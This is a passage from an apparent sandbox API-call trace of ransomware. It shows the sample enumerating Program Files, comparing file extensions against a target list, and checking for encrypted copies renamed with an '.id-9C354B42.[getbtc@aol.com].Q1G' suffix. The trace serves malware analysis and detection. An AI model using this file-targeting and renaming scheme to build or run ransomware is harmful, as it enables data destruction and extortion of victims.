Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll") returned 132 [0265.986] lstrlenW (lpString=".zip") returned 4 [0265.986] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0265.986] lstrlenW (lpString=".rar") returned 4 [0265.986] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0265.986] lstrlenW (lpString=".bz2") returned 4 [0265.986] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0265.986] lstrlenW (lpString=".7z") returned 3 [0265.986] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0265.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll") returned 132 [0265.987] lstrlenW (lpString=".dbf") returned 4 [0265.987] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0265.987] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=46960) returned 1 [0265.987] CloseHandle (hObject=0x3a0) returned 1 [0265.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.dll")) returned 0x20 [0265.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.Infopath.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.989] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=55152) returned 1 [0265.989] CloseHandle (hObject=0x3a0) returned 1 [0265.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.dll")) returned 0x20 [0265.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.Infopath.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.991] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=59248) returned 1 [0265.991] CloseHandle (hObject=0x3a0) returned 1 [0265.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.dll")) returned 0x20 [0265.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.110] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=506744) returned 1 [0266.110] CloseHandle (hObject=0x3a8) returned 1 [0266.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\inlaunch.dll")) Thread: id = 78 os_tid = 0x638 [0235.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a70080 [0235.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a80088 [0235.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581570 [0235.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x57f068 [0235.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581588 [0235.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x3fd0020 [0235.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5815a0 [0235.785] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5815a0, Size=0x20) returned 0x59eae0 [0235.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5815a0 [0235.785] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5815a0, Size=0x20) returned 0x59eab8 [0235.785] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.785] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.785] Wow64DisableWow64FsRedirection (in: OldValue=0x341ff58 | out: OldValue=0x341ff58*=0x0) returned 1 [0235.785] lstrlenW (lpString="kernel32.dll") returned 12 [0235.785] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59eae0 | out: hHeap=0x530000) returned 1 [0235.785] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.785] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59eab8 | out: hHeap=0x530000) returned 1 [0235.786] Sleep (dwMilliseconds=0x64) [0235.987] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0235.987] lstrlenW (lpString="Content.xml") returned 11 [0235.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27c [0236.217] GetFileSizeEx (in: hFile=0x27c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=27045) returned 1 [0236.218] CloseHandle (hObject=0x27c) returned 1 [0236.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0236.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.219] lstrlenW (lpString=".doc") returned 4 [0236.219] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString=".docx") returned 5 [0236.219] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0236.219] lstrlenW (lpString=".pdf") returned 4 [0236.219] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString=".xls") returned 4 [0236.219] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString=".xlsx") returned 5 [0236.219] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0236.219] lstrlenW (lpString=".ppt") returned 4 [0236.219] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.219] lstrlenW (lpString=".zip") returned 4 [0236.219] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.219] lstrlenW (lpString=".rar") returned 4 [0236.219] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString=".bz2") returned 4 [0236.219] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString=".7z") returned 3 [0236.219] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.219] lstrlenW (lpString=".dbf") returned 4 [0236.219] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.219] lstrlenW (lpString=".1cd") returned 4 [0236.219] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.219] lstrlenW (lpString=".jpg") returned 4 [0236.219] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.219] lstrlenW (lpString=".doc") returned 4 [0236.219] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.219] lstrlenW (lpString=".docx") returned 5 [0236.219] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0236.219] lstrlenW (lpString=".pdf") returned 4 [0236.220] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.220] lstrlenW (lpString=".xls") returned 4 [0236.220] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.220] lstrlenW (lpString=".xlsx") returned 5 [0236.220] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0236.220] lstrlenW (lpString=".ppt") returned 4 [0236.220] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.220] lstrlenW (lpString=".zip") returned 4 [0236.220] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.220] lstrlenW (lpString=".rar") returned 4 [0236.220] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.220] lstrlenW (lpString=".bz2") returned 4 [0236.220] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.220] lstrlenW (lpString=".7z") returned 3 [0236.220] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.220] lstrlenW (lpString=".dbf") returned 4 [0236.220] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.220] lstrlenW (lpString=".1cd") returned 4 [0236.220] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0236.220] lstrlenW (lpString=".jpg") returned 4 [0236.220] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.220] Sleep (dwMilliseconds=0x64) [0236.365] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0236.365] lstrlenW (lpString="ipsptb.xml") returned 10 [0236.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.755] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2246) returned 1 [0236.755] CloseHandle (hObject=0x314) returned 1 [0236.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0236.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.755] lstrlenW (lpString=".doc") returned 4 [0236.755] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.755] lstrlenW (lpString=".docx") returned 5 [0236.755] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0236.755] lstrlenW (lpString=".pdf") returned 4 [0236.755] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.755] lstrlenW (lpString=".xls") returned 4 [0236.755] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.755] lstrlenW (lpString=".xlsx") returned 5 [0236.755] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0236.755] lstrlenW (lpString=".ppt") returned 4 [0236.755] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.755] lstrlenW (lpString=".zip") returned 4 [0236.755] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.755] lstrlenW (lpString=".rar") returned 4 [0236.755] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.755] lstrlenW (lpString=".bz2") returned 4 [0236.755] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.755] lstrlenW (lpString=".7z") returned 3 [0236.756] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.756] lstrlenW (lpString=".dbf") returned 4 [0236.756] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.756] lstrlenW (lpString=".1cd") returned 4 [0236.756] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.756] lstrlenW (lpString=".jpg") returned 4 [0236.756] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.756] lstrlenW (lpString=".doc") returned 4 [0236.756] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString=".docx") returned 5 [0236.756] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0236.756] lstrlenW (lpString=".pdf") returned 4 [0236.756] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString=".xls") returned 4 [0236.756] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString=".xlsx") returned 5 [0236.756] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0236.756] lstrlenW (lpString=".ppt") returned 4 [0236.756] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.756] lstrlenW (lpString=".zip") returned 4 [0236.756] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.756] lstrlenW (lpString=".rar") returned 4 [0236.756] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString=".bz2") returned 4 [0236.756] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.756] lstrlenW (lpString=".7z") returned 3 [0236.756] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.756] lstrlenW (lpString=".dbf") returned 4 [0236.756] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.757] lstrlenW (lpString=".1cd") returned 4 [0236.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0236.757] lstrlenW (lpString=".jpg") returned 4 [0236.757] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.757] Sleep (dwMilliseconds=0x64) [0236.995] Sleep (dwMilliseconds=0x64) [0237.135] Sleep (dwMilliseconds=0x64) [0237.257] Sleep (dwMilliseconds=0x64) [0237.483] Sleep (dwMilliseconds=0x64) [0237.741] Sleep (dwMilliseconds=0x64) [0237.971] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0237.971] lstrlenW (lpString="adojavas.inc") returned 12 [0237.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0238.008] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=14610) returned 1 [0238.008] CloseHandle (hObject=0x324) returned 1 [0238.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0238.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.012] lstrlenW (lpString=".doc") returned 4 [0238.012] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.012] lstrlenW (lpString=".docx") returned 5 [0238.012] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.012] lstrlenW (lpString=".pdf") returned 4 [0238.012] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.012] lstrlenW (lpString=".xls") returned 4 [0238.012] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.012] lstrlenW (lpString=".xlsx") returned 5 [0238.012] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.012] lstrlenW (lpString=".ppt") returned 4 [0238.012] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.012] lstrlenW (lpString=".zip") returned 4 [0238.012] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.012] lstrlenW (lpString=".rar") returned 4 [0238.012] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.012] lstrlenW (lpString=".bz2") returned 4 [0238.012] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.012] lstrlenW (lpString=".7z") returned 3 [0238.012] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.012] lstrlenW (lpString=".dbf") returned 4 [0238.012] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.013] lstrlenW (lpString=".1cd") returned 4 [0238.013] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.013] lstrlenW (lpString=".jpg") returned 4 [0238.013] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.013] lstrlenW (lpString=".doc") returned 4 [0238.013] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.013] lstrlenW (lpString=".docx") returned 5 [0238.013] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.013] lstrlenW (lpString=".pdf") returned 4 [0238.013] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.013] lstrlenW (lpString=".xls") returned 4 [0238.013] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.013] lstrlenW (lpString=".xlsx") returned 5 [0238.013] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.013] lstrlenW (lpString=".ppt") returned 4 [0238.013] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.013] lstrlenW (lpString=".zip") returned 4 [0238.013] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.013] lstrlenW (lpString=".rar") returned 4 [0238.013] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.013] lstrlenW (lpString=".bz2") returned 4 [0238.013] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.013] lstrlenW (lpString=".7z") returned 3 [0238.013] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.013] lstrlenW (lpString=".dbf") returned 4 [0238.013] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.013] lstrlenW (lpString=".1cd") returned 4 [0238.013] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0238.013] lstrlenW (lpString=".jpg") returned 4 [0238.013] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.014] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0238.014] lstrlenW (lpString="adcvbs.inc") returned 10 [0238.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.157] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=623) returned 1 [0238.158] CloseHandle (hObject=0x388) returned 1 [0238.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0238.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.158] lstrlenW (lpString=".doc") returned 4 [0238.158] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.158] lstrlenW (lpString=".docx") returned 5 [0238.158] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.158] lstrlenW (lpString=".pdf") returned 4 [0238.158] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.158] lstrlenW (lpString=".xls") returned 4 [0238.158] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.158] lstrlenW (lpString=".xlsx") returned 5 [0238.158] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.158] lstrlenW (lpString=".ppt") returned 4 [0238.158] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.158] lstrlenW (lpString=".zip") returned 4 [0238.158] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.158] lstrlenW (lpString=".rar") returned 4 [0238.158] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.158] lstrlenW (lpString=".bz2") returned 4 [0238.158] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.158] lstrlenW (lpString=".7z") returned 3 [0238.158] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.158] lstrlenW (lpString=".dbf") returned 4 [0238.159] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.159] lstrlenW (lpString="C:\\Program Files\\Common 